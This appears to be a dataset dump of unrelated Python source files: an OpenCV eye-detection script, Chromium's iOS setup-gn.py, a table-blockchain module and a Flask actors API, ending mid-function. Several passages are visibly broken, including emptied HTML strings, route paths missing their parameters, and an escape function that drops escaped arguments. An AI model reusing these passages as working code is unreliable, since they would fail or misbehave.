{errors}\")\n","sub_path":"datasets/management/commands/import.py","file_name":"import.py","file_ext":"py","file_size_in_byte":2502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"623572640","text":"import numpy as np\nimport cv2\nimport cv2.cv as cv\nimport argparse\nimport matplotlib.pyplot as plt\n\n#Command line argument passing\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', '--file', help='Path to file')\nargs = vars(parser.parse_args())\nfileName = args['file'] #path to video file\n\n#Flags and Threshold values for comparison\nMODIFIED = [0, 0] #normalization of eye state [left, right]\nPREVINIT = [0, 0] #if eye state has a previous value\nPRESET = [0, 0] #if eye state initialized\nOBSEYE = 0 #Eye for observation\neyeDeviationLimit = 8 #Used for normalization of eye state; represented as % \n\n#Initialization of variables\nrealOpen = [0, 0] #normal open [left, right]\nrealClose = [60, 60] #normal closed [left, right]\neyeCascade = cv2.CascadeClassifier('haar/haarcascade_eye_tree_eyeglasses.xml')\nfaceCascade = cv2.CascadeClassifier('haar/haarcascade_frontalface_alt2.xml')\ncurrentEye = [0, 0] #current eye state\nobsEyePercent = [0, 0] #previous eye state\ntimer = 10 #timer for modification\nglobalTimer = 50 #utmost time for modification\neyesLoc = [] #list of eye locations\nfaceLocation = {'x': 0, 'y': 0, 'w': 0, 'h': 0}\nfacesLoc = [] #list of face locations\n\n#Debug\nframeC = 0 #frame count\nmaxIns = [0, 0] #maximum values found in each frames\n#wholeSum = 0\n#wholeMax = [0, 0]\n#wholeMin = [0, 0]\n#wholePer = [0, 0]\n#obsEyePercent2 = [0, 0] #previous eye state\n#timer2 = 10 #timer for modification\n#OBSEYE2 = 0 #Eye for observation\n#MODIFIED2 = [0, 0] #normalization of eye state [left, right]\n\n#Capture Video\ncap = cv2.VideoCapture(fileName)\n\nwhile(cap.isOpened()):\n ret, frame = cap.read()\n frameC += 1\n \n #if frameC < 160 :\n # continue\n \n #no frame\n if(frame == None):\n break\n \n #preprocessing of image frame\n (w, h) = frame.shape[:2]\n img = cv2.resize(frame, (500, 500*w/h))\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n \n #face detection\n faces = faceCascade.detectMultiScale(gray, 1.3, 5)\n if(len(faces) == 0):\n if(len(facesLoc) > 0): #looking for previous face\n '''need to check standard deviation of frames, once found, append to faces and remove break'''\n print(\"Previous face present\")\n print(\"No face detected\")\n break\n else:\n print(\"No face detected\")\n break\n for (x, y, w, h) in faces:\n \n cv2.rectangle(gray,(x,y),(x+w,y+h),(255,0,0),2)\n \n #storing face coordinates\n if(len(facesLoc) > 1):\n del facesLoc[0] #remove unwanted datas\n faceLocation = {'x': x, 'y': y, 'w': w, 'h': h}\n facesLoc.append(faceLocation)\n #print(\"facesLoc:\")\n #print(facesLoc)\n \n #eye detection\n roi_gray = gray[y:y+h, x:x+w]\n eyes = eyeCascade.detectMultiScale(roi_gray)\n percents = []\n #percents2 = []\n \n #if no eyes found, predict it's location\n if(len(eyes) == 0):\n if(len(facesLoc) > 1):\n if(len(eyesLoc) > 0):\n for i in range(len(eyesLoc)):\n ex = eyesLoc[0]['x'] - (facesLoc[0]['x'] - faceLocation['x'])\n ey = eyesLoc[0]['y'] - (facesLoc[0]['y'] - faceLocation['y'])\n ew = eyesLoc[0]['w'] + eyesLoc[0]['w']*float(float(faceLocation['w'] - facesLoc[0]['w'])/float(facesLoc[0]['w'])) #% change\n eyesLoc.append({'x': ex, 'y': ey, 'w': int(ew), 'h': int(ew)})\n cv2.rectangle(roi_gray,(ex,ey),(ex+int(ew),ey+int(ew)),(255,0,0),2)\n del eyesLoc[0]\n else:\n print(\"No eye present\")\n break\n else:\n print(\"No eye present\")\n break\n else:\n eyesLoc = []\n i = 0\n for (ex, ey, ew, eh) in eyes:\n if i >= 2:\n break\n eyesLoc.append({'x': ex, 'y': ey, 'w': ew, 'h': eh})\n cv2.rectangle(roi_gray,(ex,ey),(ex+ew,ey+eh),(255,0,0),2)\n i += 1\n i = 0\n for eye in eyesLoc:\n roi_gray_e = roi_gray[eye['y']:eye['y']+eye['h'], eye['x']:eye['x']+eye['w']]\n ret,gray_t = cv2.threshold(roi_gray_e,80,255,cv2.THRESH_BINARY)\n gray_t = 255-gray_t\n #gray_t = cv2.resize(gray_t, (100, 100))\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n start,end,maxIn,opened, dataFlag, sumOf = 0, 0, 0, 0, 0, 0\n img_row_sum = np.sum(gray_t,axis=1).tolist()\n \n for p in range(len(img_row_sum)):\n if img_row_sum[p] > 0 and start == 0:\n opened = 1\n start = p-1\n #sumOf += img_row_sum[p]\n elif img_row_sum[p] <= 0 and opened == 1:\n end = p\n opened = 0\n dataFlag = 1\n if dataFlag == 1 or p == len(img_row_sum)-1 :\n diff = end - start\n if maxIn <= diff and diff != 0:\n maxIn = diff\n # wholeSum = sumOf\n start = 0\n end = 0\n # sumOf = 0\n \n maxIns[i] = maxIn \n if PRESET[i] == 0:\n realOpen[i] = maxIn\n #wholeMax[i] = wholeSum\n PRESET[i] = 1\n realClose[i] = 0.6*realOpen[i]\n #wholeMin[i] = 0.6*wholeMax[i]\n currentEye[i] = ((maxIn-realClose[i])*100)/(realOpen[i]-realClose[i])\n #print(\"\\n*********eye%d*********\" %(i+1))\n #print(wholeSum)\n #print(wholeMin[i])\n #print(wholeMax[i])\n #wholePer[i] = ((wholeSum-wholeMin[i])*100)/(wholeMax[i]-wholeMin[i])\n #print(wholePer[i])\n cv2.imshow(\"Name\", gray_t)\n if currentEye[i] < 0:\n realClose[i] = maxIn\n currentEye[i] = ((maxIn-realClose[i])*100)/(realOpen[i]-realClose[i])\n #if wholePer[i] < 0:\n # wholeMin[i] = wholeSum\n # wholePer[i] = ((wholeSum-wholeMin[i])*100)/(wholeMax[i]-wholeMin[i])\n percents.append(currentEye[i])\n # percents2.append(wholePer[i])\n \n if MODIFIED[i] == 0 and globalTimer != 0: #''' and MODIFIED2[i] == 0 '''\n if (PREVINIT[i] != 0):\n if (abs(currentEye[i] - obsEyePercent[i]) >= eyeDeviationLimit) and MODIFIED[i] == 0:\n if timer == 0:\n realOpen[i] = maxIn\n MODIFIED[i] = 1\n else:\n if OBSEYE == 0: #need modifcation, change of eye state again not included\n obsEyePercent[i] = currentEye[i]\n OBSEYE = 1\n else:\n timer = 10\n \n '''if (abs(wholePer[i] - obsEyePercent2[i]) >= eyeDeviationLimit) and MODIFIED2[i] == 0:\n if timer2 == 0:\n wholeMax[i] = wholeSum\n MODIFIED2[i] = 1\n else:\n if OBSEYE2 == 0: #need modifcation, change of eye state again not included\n obsEyePercent2[i] = wholePer[i]\n OBSEYE2 = 1\n else:\n timer2 = 10\n timer2 -= 1'''\n \n timer -= 1\n globalTimer -= 1\n else:\n obsEyePercent[i] = currentEye[i]\n #obsEyePercent2[i] = wholePer[i]\n PREVINIT[i] = 1\n i += 1\n #cv2.imshow(\"Name\", gray)\n #print(str(frameC) + \" : \" + str(int(min(percents))) + '% : ' + str(int(sum(percents2)/len(percents2))) + '%')\n print(str(frameC) + \" : \" + str(int(min(percents))) + '%')\n if cv2.waitKey(1000) & 0xFF == ord('q'):\n break\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"eye_detection/openCv_learning/tests/test (copy).py","file_name":"test (copy).py","file_ext":"py","file_size_in_byte":8578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"284948242","text":"#!/usr/bin/env python3\n# Copyright 2016 The Chromium Authors\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport argparse\nimport configparser\nimport convert_gn_xcodeproj\nimport errno\nimport io\nimport os\nimport platform\nimport re\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\n\nSUPPORTED_TARGETS = ('iphoneos', 'iphonesimulator', 'maccatalyst')\nSUPPORTED_CONFIGS = ('Debug', 'Release', 'Profile', 'Official')\nADDITIONAL_FILE_ROOTS = ('//ios', '//ios_internal', '//docs', '//components')\n\n# Pattern matching lines from ~/.lldbinit that must not be copied to the\n# generated .lldbinit file. They match what the user were told to add to\n# their global ~/.lldbinit file before setup-gn.py was updated to generate\n# a project specific file and thus must not be copied as they would cause\n# the settings to be overwritten.\nLLDBINIT_SKIP_PATTERNS = (\n re.compile('^script sys.path\\\\[:0\\\\] = \\\\[\\'.*/src/tools/lldb\\'\\\\]$'),\n re.compile('^script import lldbinit$'),\n re.compile('^settings append target.source-map .* /google/src/.*$'),\n)\n\n\ndef HostCpuArch():\n '''Returns the arch of the host cpu for GN.'''\n HOST_CPU_ARCH = {\n 'arm64': '\"arm64\"',\n 'x86_64': '\"x64\"',\n }\n return HOST_CPU_ARCH[platform.machine()]\n\n\nclass ConfigParserWithStringInterpolation(configparser.ConfigParser):\n\n '''A .ini file parser that supports strings and environment variables.'''\n\n ENV_VAR_PATTERN = re.compile(r'\\$([A-Za-z0-9_]+)')\n\n def values(self, section):\n return filter(\n lambda val: val != '',\n map(lambda kv: self._UnquoteString(self._ExpandEnvVar(kv[1])),\n configparser.ConfigParser.items(self, section)))\n\n def getstring(self, section, option, fallback=''):\n try:\n raw_value = self.get(section, option)\n except configparser.NoOptionError:\n return fallback\n return self._UnquoteString(self._ExpandEnvVar(raw_value))\n\n def getboolean(self, section, option, fallback=False):\n try:\n return super().getboolean(section, option)\n except configparser.NoOptionError:\n return fallback\n\n def _UnquoteString(self, string):\n if not string or string[0] != '\"' or string[-1] != '\"':\n return string\n return string[1:-1]\n\n def _ExpandEnvVar(self, value):\n match = self.ENV_VAR_PATTERN.search(value)\n if not match:\n return value\n name, (begin, end) = match.group(1), match.span(0)\n prefix, suffix = value[:begin], self._ExpandEnvVar(value[end:])\n return prefix + os.environ.get(name, '') + suffix\n\n\nclass GnGenerator(object):\n\n '''Holds configuration for a build and method to generate gn default files.'''\n\n FAT_BUILD_DEFAULT_ARCH = '64-bit'\n\n TARGET_CPU_VALUES = {\n 'iphoneos': '\"arm64\"',\n 'iphonesimulator': HostCpuArch(),\n 'maccatalyst': HostCpuArch(),\n }\n\n TARGET_ENVIRONMENT_VALUES = {\n 'iphoneos': '\"device\"',\n 'iphonesimulator': '\"simulator\"',\n 'maccatalyst': '\"catalyst\"'\n }\n\n def __init__(self, settings, config, target):\n assert target in SUPPORTED_TARGETS\n assert config in SUPPORTED_CONFIGS\n self._settings = settings\n self._config = config\n self._target = target\n\n def _GetGnArgs(self):\n \"\"\"Build the list of arguments to pass to gn.\n\n Returns:\n A list of tuple containing gn variable names and variable values (it\n is not a dictionary as the order needs to be preserved).\n \"\"\"\n args = []\n\n if self._settings.getboolean('goma', 'enabled'):\n args.append(('use_goma', True))\n goma_dir = self._settings.getstring('goma', 'install')\n if goma_dir:\n args.append(('goma_dir', '\"%s\"' % os.path.expanduser(goma_dir)))\n\n is_debug = self._config == 'Debug'\n official = self._config == 'Official'\n is_optim = self._config in ('Profile', 'Official')\n\n args.append(('target_os', '\"ios\"'))\n args.append(('is_debug', is_debug))\n args.append(('enable_dsyms', is_optim))\n args.append(('enable_stripping', is_optim))\n args.append(('is_official_build', is_optim))\n args.append(('is_chrome_branded', official))\n\n if os.environ.get('FORCE_MAC_TOOLCHAIN', '0') == '1':\n args.append(('use_system_xcode', False))\n\n args.append(('target_cpu', self.TARGET_CPU_VALUES[self._target]))\n args.append((\n 'target_environment',\n self.TARGET_ENVIRONMENT_VALUES[self._target]))\n\n # Add user overrides after the other configurations so that they can\n # refer to them and override them.\n args.extend(self._settings.items('gn_args'))\n return args\n\n\n def Generate(self, gn_path, proj_name, root_path, build_dir):\n self.WriteArgsGn(build_dir, xcode_project_name=proj_name)\n subprocess.check_call(self.GetGnCommand(\n gn_path, root_path, build_dir, xcode_project_name=proj_name))\n\n def CreateGnRules(self, gn_path, root_path, build_dir):\n gn_command = self.GetGnCommand(gn_path, root_path, build_dir)\n self.WriteArgsGn(build_dir)\n self.WriteBuildNinja(gn_command, build_dir)\n self.WriteBuildNinjaDeps(build_dir)\n\n def WriteArgsGn(self, build_dir, xcode_project_name=None):\n with open(os.path.join(build_dir, 'args.gn'), 'w') as stream:\n stream.write('# This file was generated by setup-gn.py. Do not edit\\n')\n stream.write('# but instead use ~/.setup-gn or $repo/.setup-gn files\\n')\n stream.write('# to configure settings.\\n')\n stream.write('\\n')\n\n if self._target != 'maccatalyst':\n if self._settings.has_section('$imports$'):\n for import_rule in self._settings.values('$imports$'):\n stream.write('import(\"%s\")\\n' % import_rule)\n stream.write('\\n')\n\n gn_args = self._GetGnArgs()\n\n for name, value in gn_args:\n if isinstance(value, bool):\n stream.write('%s = %s\\n' % (name, str(value).lower()))\n elif isinstance(value, list):\n stream.write('%s = [%s' % (name, '\\n' if len(value) > 1 else ''))\n if len(value) == 1:\n prefix = ' '\n suffix = ' '\n else:\n prefix = ' '\n suffix = ',\\n'\n for item in value:\n if isinstance(item, bool):\n stream.write('%s%s%s' % (prefix, str(item).lower(), suffix))\n else:\n stream.write('%s%s%s' % (prefix, item, suffix))\n stream.write(']\\n')\n else:\n # ConfigParser removes quote around empty string which confuse\n # `gn gen` so restore them.\n if not value:\n value = '\"\"'\n stream.write('%s = %s\\n' % (name, value))\n\n def WriteBuildNinja(self, gn_command, build_dir):\n with open(os.path.join(build_dir, 'build.ninja'), 'w') as stream:\n stream.write('ninja_required_version = 1.7.2\\n')\n stream.write('\\n')\n stream.write('rule gn\\n')\n stream.write(' command = %s\\n' % NinjaEscapeCommand(gn_command))\n stream.write(' description = Regenerating ninja files\\n')\n stream.write('\\n')\n stream.write('build build.ninja.stamp: gn\\n')\n stream.write(' generator = 1\\n')\n stream.write(' depfile = build.ninja.d\\n')\n stream.write('\\n')\n stream.write('build build.ninja: phony build.ninja.stamp\\n')\n stream.write(' generator = 1\\n')\n stream.write('\\n')\n\n def WriteBuildNinjaDeps(self, build_dir):\n with open(os.path.join(build_dir, 'build.ninja.d'), 'w') as stream:\n stream.write('build.ninja: nonexistant_file.gn\\n')\n\n def GetGnCommand(self, gn_path, src_path, out_path, xcode_project_name=None):\n gn_command = [ gn_path, '--root=%s' % os.path.realpath(src_path), '-q' ]\n if xcode_project_name is not None:\n gn_command.append('--ide=xcode')\n gn_command.append('--ninja-executable=autoninja')\n gn_command.append('--xcode-build-system=new')\n gn_command.append('--xcode-project=%s' % xcode_project_name)\n gn_command.append('--xcode-additional-files-patterns=*.md;OWNERS')\n gn_command.append(\n '--xcode-additional-files-roots=' + ';'.join(ADDITIONAL_FILE_ROOTS))\n gn_command.append('--xcode-configs=' + ';'.join(SUPPORTED_CONFIGS))\n gn_command.append('--xcode-config-build-dir='\n '//out/${CONFIGURATION}${EFFECTIVE_PLATFORM_NAME}')\n use_blink = self._settings.getboolean('gn_args', 'use_blink')\n if self._settings.has_section('filters') and not use_blink:\n target_filters = self._settings.values('filters')\n if target_filters:\n gn_command.append('--filters=%s' % ';'.join(target_filters))\n else:\n gn_command.append('--check')\n gn_command.append('gen')\n gn_command.append('//%s' %\n os.path.relpath(os.path.abspath(out_path), os.path.abspath(src_path)))\n return gn_command\n\n\ndef NinjaNeedEscape(arg):\n '''Returns True if |arg| needs to be escaped when written to .ninja file.'''\n return ':' in arg or '*' in arg or ';' in arg\n\n\ndef NinjaEscapeCommand(command):\n '''Escapes |command| in order to write it to .ninja file.'''\n result = []\n for arg in command:\n if NinjaNeedEscape(arg):\n arg = arg.replace(':', '$:')\n arg = arg.replace(';', '\\\\;')\n arg = arg.replace('*', '\\\\*')\n else:\n result.append(arg)\n return ' '.join(result)\n\n\ndef FindGn():\n '''Returns absolute path to gn binary looking at the PATH env variable.'''\n for path in os.environ['PATH'].split(os.path.pathsep):\n gn_path = os.path.join(path, 'gn')\n if os.path.isfile(gn_path) and os.access(gn_path, os.X_OK):\n return gn_path\n return None\n\n\ndef GenerateXcodeProject(gn_path, root_dir, proj_name, out_dir, settings):\n '''Generate Xcode project with Xcode and convert to multi-configurations.'''\n prefix = os.path.abspath(os.path.join(out_dir, '_temp'))\n temp_path = tempfile.mkdtemp(prefix=prefix)\n try:\n generator = GnGenerator(settings, 'Debug', 'iphonesimulator')\n generator.Generate(gn_path, proj_name, root_dir, temp_path)\n convert_gn_xcodeproj.ConvertGnXcodeProject(\n root_dir,\n '%s.xcodeproj' % proj_name,\n os.path.join(temp_path),\n os.path.join(out_dir, 'build'),\n SUPPORTED_CONFIGS)\n finally:\n if os.path.exists(temp_path):\n shutil.rmtree(temp_path)\n\ndef CreateLLDBInitFile(root_dir, out_dir, settings):\n '''\n Generate an .lldbinit file for the project that load the script that fixes\n the mapping of source files (see docs/ios/build_instructions.md#debugging).\n '''\n with open(os.path.join(out_dir, 'build', '.lldbinit'), 'w') as lldbinit:\n lldb_script_dir = os.path.join(os.path.abspath(root_dir), 'tools', 'lldb')\n lldbinit.write('script sys.path[:0] = [\\'%s\\']\\n' % lldb_script_dir)\n lldbinit.write('script import lldbinit\\n')\n\n workspace_name = settings.getstring(\n 'gn_args',\n 'ios_internal_citc_workspace_name')\n\n if workspace_name != '':\n username = os.environ['USER']\n for shortname in ('googlemac', 'third_party', 'blaze-out'):\n lldbinit.write('settings append target.source-map %s %s\\n' % (\n shortname,\n '/google/src/cloud/%s/%s/google3/%s' % (\n username, workspace_name, shortname)))\n\n # Append the content of //ios/build/tools/lldbinit.defaults if it exists.\n tools_dir = os.path.join(root_dir, 'ios', 'build', 'tools')\n defaults_lldbinit_path = os.path.join(tools_dir, 'lldbinit.defaults')\n if os.path.isfile(defaults_lldbinit_path):\n with open(defaults_lldbinit_path) as defaults_lldbinit:\n for line in defaults_lldbinit:\n lldbinit.write(line)\n\n # Append the content of ~/.lldbinit if it exists. Line that look like they\n # are trying to configure source mapping are skipped as they probably date\n # back from when setup-gn.py was not generating an .lldbinit file.\n global_lldbinit_path = os.path.join(os.environ['HOME'], '.lldbinit')\n if os.path.isfile(global_lldbinit_path):\n with open(global_lldbinit_path) as global_lldbinit:\n for line in global_lldbinit:\n if any(pattern.match(line) for pattern in LLDBINIT_SKIP_PATTERNS):\n continue\n lldbinit.write(line)\n\n\ndef GenerateGnBuildRules(gn_path, root_dir, out_dir, settings):\n '''Generates all template configurations for gn.'''\n for config in SUPPORTED_CONFIGS:\n for target in SUPPORTED_TARGETS:\n build_dir = os.path.join(out_dir, '%s-%s' % (config, target))\n if not os.path.isdir(build_dir):\n os.makedirs(build_dir)\n\n generator = GnGenerator(settings, config, target)\n generator.CreateGnRules(gn_path, root_dir, build_dir)\n\n\ndef Main(args):\n default_root = os.path.normpath(os.path.join(\n os.path.dirname(__file__), os.pardir, os.pardir, os.pardir))\n\n parser = argparse.ArgumentParser(\n description='Generate build directories for use with gn.')\n parser.add_argument(\n 'root', default=default_root, nargs='?',\n help='root directory where to generate multiple out configurations')\n parser.add_argument(\n '--import', action='append', dest='import_rules', default=[],\n help='path to file defining default gn variables')\n parser.add_argument(\n '--gn-path', default=None,\n help='path to gn binary (default: look up in $PATH)')\n parser.add_argument(\n '--build-dir', default='out',\n help='path where the build should be created (default: %(default)s)')\n parser.add_argument(\n '--config-path', default=os.path.expanduser('~/.setup-gn'),\n help='path to the user config file (default: %(default)s)')\n parser.add_argument(\n '--project-config-path', default=os.path.join(default_root, os.pardir,\n '.setup-gn'),\n help='path to the project config file (default: %(default)s)')\n parser.add_argument(\n '--system-config-path', default=os.path.splitext(__file__)[0] + '.config',\n help='path to the default config file (default: %(default)s)')\n parser.add_argument(\n '--project-name', default='all', dest='proj_name',\n help='name of the generated Xcode project (default: %(default)s)')\n parser.add_argument(\n '--no-xcode-project', action='store_true', default=False,\n help='do not generate the build directory with XCode project')\n args = parser.parse_args(args)\n\n # Load configuration (first global and then any user overrides).\n settings = ConfigParserWithStringInterpolation()\n settings.read([\n args.system_config_path,\n args.config_path,\n args.project_config_path,\n ])\n\n # Add private sections corresponding to --import argument.\n if args.import_rules:\n settings.add_section('$imports$')\n for i, import_rule in enumerate(args.import_rules):\n if not import_rule.startswith('//'):\n import_rule = '//%s' % os.path.relpath(\n os.path.abspath(import_rule), os.path.abspath(args.root))\n settings.set('$imports$', '$rule%d$' % i, import_rule)\n\n # Validate settings.\n if settings.getstring('build', 'arch') not in ('64-bit', '32-bit', 'fat'):\n sys.stderr.write('ERROR: invalid value for build.arch: %s\\n' %\n settings.getstring('build', 'arch'))\n sys.exit(1)\n\n # Find path to gn binary either from command-line or in PATH.\n if args.gn_path:\n gn_path = args.gn_path\n else:\n gn_path = FindGn()\n if gn_path is None:\n sys.stderr.write('ERROR: cannot find gn in PATH\\n')\n sys.exit(1)\n\n out_dir = os.path.join(args.root, args.build_dir)\n if not os.path.isdir(out_dir):\n os.makedirs(out_dir)\n\n if not args.no_xcode_project:\n GenerateXcodeProject(gn_path, args.root, args.proj_name, out_dir, settings)\n CreateLLDBInitFile(args.root, out_dir, settings)\n GenerateGnBuildRules(gn_path, args.root, out_dir, settings)\n\n\nif __name__ == '__main__':\n sys.exit(Main(sys.argv[1:]))\n","sub_path":"ios/build/tools/setup-gn.py","file_name":"setup-gn.py","file_ext":"py","file_size_in_byte":15633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"62064150","text":"import json\r\nimport hashlib\r\nimport os\r\nimport csv\r\n\r\n\r\ndef turn_on_safe_mode(database, table):\r\n blockchain = {}\r\n with open('data/info/safeModeTables/' + database + table + '.json', 'w') as file:\r\n json.dump(blockchain, file, indent=4)\r\n\r\n\r\ndef turn_off_safe_mode(database, table):\r\n os.remove('data/info/safeModeTables/' + database + table + '.json')\r\n\r\n\r\ndef concat_register(register):\r\n concat_string = ''\r\n for i in register:\r\n concat_string += str(i)\r\n return concat_string\r\n\r\n\r\ndef generate_hash(string_data):\r\n return hashlib.sha256(string_data.encode()).hexdigest()\r\n\r\n\r\ndef generate_chain(database, table, registers):\r\n blockchain = {}\r\n blockId = 1\r\n previous = '0000000000000000000000000000000000000000000000000000000000000000'\r\n\r\n for register in registers:\r\n hash = generate_hash(concat_register(register))\r\n blockchain[blockId] = {'blockId': blockId, 'data': register, 'previous': previous, 'hash': hash, 'status': 0}\r\n blockId += 1\r\n previous = hash\r\n\r\n with open('data/info/safeModeTables/' + database + table + '.json', 'w') as file:\r\n json.dump(blockchain, file, indent=4)\r\n\r\n\r\ndef update_block(database, table, newRegister, oldRegister):\r\n oldHash = generate_hash(concat_register(oldRegister))\r\n newHash = generate_hash(concat_register(newRegister))\r\n with open('data/info/safeModeTables/' + database + table + '.json', 'r') as file:\r\n blockchain = json.load(file)\r\n for blockId in blockchain:\r\n if blockchain[blockId]['hash'] == oldHash:\r\n blockchain[blockId]['data'] = newRegister\r\n blockchain[blockId]['hash'] = newHash\r\n blockchain[blockId]['status'] = 1\r\n break\r\n with open('data/info/safeModeTables/' + database + table + '.json', 'w') as file:\r\n json.dump(blockchain, file, indent=4)\r\n\r\n\r\ndef delete_block(database, table, register):\r\n hash = generate_hash(concat_register(register))\r\n with open('data/info/safeModeTables/' + database + table + '.json') as file:\r\n blockchain = json.load(file)\r\n for blockId in blockchain:\r\n if blockchain[blockId]['hash'] == hash:\r\n del blockchain[blockId]\r\n break\r\n with open('data/info/safeModeTables/' + database + table + '.json', 'w') as file:\r\n json.dump(blockchain, file, indent=4)\r\n\r\n\r\ndef insert_block(database, table, register):\r\n with open('data/info/safeModeTables/' + database + table + '.json') as file:\r\n blockchain = json.load(file)\r\n if len(blockchain) == 0:\r\n previous = '0000000000000000000000000000000000000000000000000000000000000000'\r\n blockId = 1\r\n else:\r\n previousId = int(list(blockchain.keys())[-1])\r\n previous = blockchain[str(previousId)]['hash']\r\n blockId = previousId + 1\r\n hash = generate_hash(concat_register(register))\r\n blockchain[blockId] = {'blockId': blockId, 'data': register, 'previous': previous, 'hash': hash, 'status': 0}\r\n with open('data/info/safeModeTables/' + database + table + '.json', 'w') as file:\r\n json.dump(blockchain, file, indent=4)\r\n\r\n\r\ndef chartBlockchain(database, table):\r\n blockchain = None\r\n with open('data/info/safeModeTables/' + database + table + '.json') as file:\r\n blockchain = json.load(file)\r\n file = open('blockchain.dot', 'w')\r\n file.write('digraph blockchain {\\n')\r\n file.write('rankdir=LR;\\n')\r\n file.write('node[shape=box]\\n')\r\n color = '#DCF0C2'\r\n previous = '0000000000000000000000000000000000000000000000000000000000000000'\r\n if len(blockchain) > 0:\r\n for i in blockchain.values():\r\n if color == '#DCF0C2' and (i['status'] == 1 or i['previous'] != previous):\r\n color = '#F3ABAB'\r\n file.write(str(i['blockId']) + '[label=<')\r\n file.write('')\r\n file.write('')\r\n file.write('')\r\n file.write('')\r\n file.write('')\r\n file.write('
' + 'Bloque: ' + '' + '# ' + str(i['blockId']) + '
' + 'Datos: ' + '' + str(i['data']) + '
' + 'Anterior: ' + '' + str(i['previous']) + '
' + 'Hash: ' + '' + str(i['hash']) + '
')\r\n file.write('>, ];')\r\n previous = i['hash']\r\n count = 0\r\n nodes = list(blockchain.keys())\r\n for i in nodes:\r\n if count + 1 < len(nodes):\r\n file.write(nodes[count] + '->' + nodes[count + 1] + '\\n')\r\n count += 1\r\n file.write('}')\r\n file.close()\r\n os.system(\"dot -Tpng blockchain.dot -o blockchain.png\")\r\n os.system('blockchain.png')\r\n\r\n\r\ndef insert_block_CSV(results, file, database, table):\r\n count = 0\r\n with open(file, 'r') as f:\r\n reader = csv.reader(f, delimiter=',')\r\n for i in reader:\r\n if results[count] == 0:\r\n insert_block(database, table, i)\r\n count += 1\r\n","sub_path":"storage/fase2/team14/storage/Blockchain.py","file_name":"Blockchain.py","file_ext":"py","file_size_in_byte":5175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"620463927","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n#########################################################################\n# File Name: create_corpus.py\n# Author: \n# Mail: @.com\n# Created Time: Tue 21 Mar 2017 11:03:04 AM CST\n#########################################################################\nimport sys\n\nidx = int(sys.argv[1])\ndata_dir = sys.argv[3]\n\nsout_train = open(data_dir + \"/train.txt_\" + str(idx), \"w\")\n#sout_test = open(data_dir + \"/test.txt\", \"w\")\n\nfor line in open(sys.argv[2]):\n parts = line.strip().split(\"\\t\")\n valid = int(parts[0])\n text = parts[1]\n\n if valid == idx:\n print >> sout_train, text\n\nsout_train.close()\n","sub_path":"subintend/test_for_manual_data/create_corpus.py","file_name":"create_corpus.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"150493975","text":"import os\nimport sys\nfrom flask import Flask, request, abort, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nfrom models import db, setup_db, Actor, Movie\nfrom flask_migrate import Migrate\nfrom auth import requires_auth, AuthError\n\n\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__)\n setup_db(app)\n CORS(app)\n migrate = Migrate(app, db)\n\n ROWS_PER_PAGE = 10\n\n @app.route(\"/\", methods=[\"GET\"])\n def home():\n return jsonify({\n \"success\": True,\n \"message\": \"Welcome please refer to API\" +\n \" documentation for the endpoints\"\n })\n\n @app.route(\"/actors\", methods=[\"GET\"])\n @requires_auth('read:actor')\n def get_actors(token):\n \"\"\"\n Returns paginated actors object\n Tested by:\n Success:\n - test_get_actors\n Error:\n - test_404_get_actors\n \"\"\"\n\n page = int(request.args.get(\"page\", 1))\n\n start = (page - 1) * ROWS_PER_PAGE\n end = start + ROWS_PER_PAGE\n\n actors = Actor.query.all()\n\n actors = [actor.format() for actor in actors]\n\n if len(actors) < start or start < 0:\n return jsonify({\n \"error\": 404,\n \"message\": \"No actors found in database.\",\n \"success\": False\n }), 404\n\n return jsonify({\n \"actors\": actors[start:end],\n \"success\": True,\n \"total_actors\": len(actors)\n })\n\n @app.route(\"/actors\", methods=[\"POST\"])\n @requires_auth('create:actor')\n def add_actor(token):\n \"\"\"\n Inserts a new Actor\n Tested by:\n Success:\n - test_add_actor\n Error:\n - test_422_add_actor_name\n - test_422_add_actor_age\n - test_422_add_actor_gender\n \"\"\"\n\n data = request.get_json()\n\n if not data.get(\"name\"):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"Actor's Name is not provided.\"\n }), 422\n\n if not data.get(\"age\"):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"Actor's age is not provided.\"\n }), 422\n\n if not data.get(\"gender\"):\n return jsonify({\n \"success\": False,\n \"error\": 422,\n \"message\": \"Actor's gender is not provided.\"\n }), 422\n\n try:\n actor = Actor(name=data[\"name\"],\n age=data[\"age\"], gender=data[\"gender\"])\n actor.insert()\n except Exception:\n abort(500)\n\n return jsonify({\n \"success\": True,\n \"Actor\": actor.format()\n })\n\n @app.route(\"/actors/\", methods=[\"PATCH\"])\n @requires_auth(\"edit:actor\")\n def update_actor(token, actor_id):\n \"\"\"\n Edit an existing Actor\n Tested by:\n Success:\n - test_patch_actors\n Error:\n - test_422_patch_actors\n - test_404_patch_actors\n - test_401_patch_actors\n \"\"\"\n try:\n actor_id = int(actor_id)\n actor = Actor.query.get(actor_id)\n except Exception:\n abort(422)\n\n if not actor:\n return jsonify({\n \"error\": 404,\n \"message\": \"Actor wth id = {} not found.\".format(actor_id),\n \"success\": False\n }), 404\n\n data = request.get_json()\n\n actor.name = data.get('name', actor.name)\n actor.age = data.get('age', actor.age)\n actor.gender = data.get('gender', actor.gender)\n\n try:\n actor.update()\n except Exception:\n abort(500)\n\n return jsonify({\n 'success': True,\n 'actor': actor.format()\n })\n\n @app.route(\"/actors/\", methods=[\"DELETE\"])\n @requires_auth(\"delete:actor\")\n def delete_actor(token, actor_id):\n 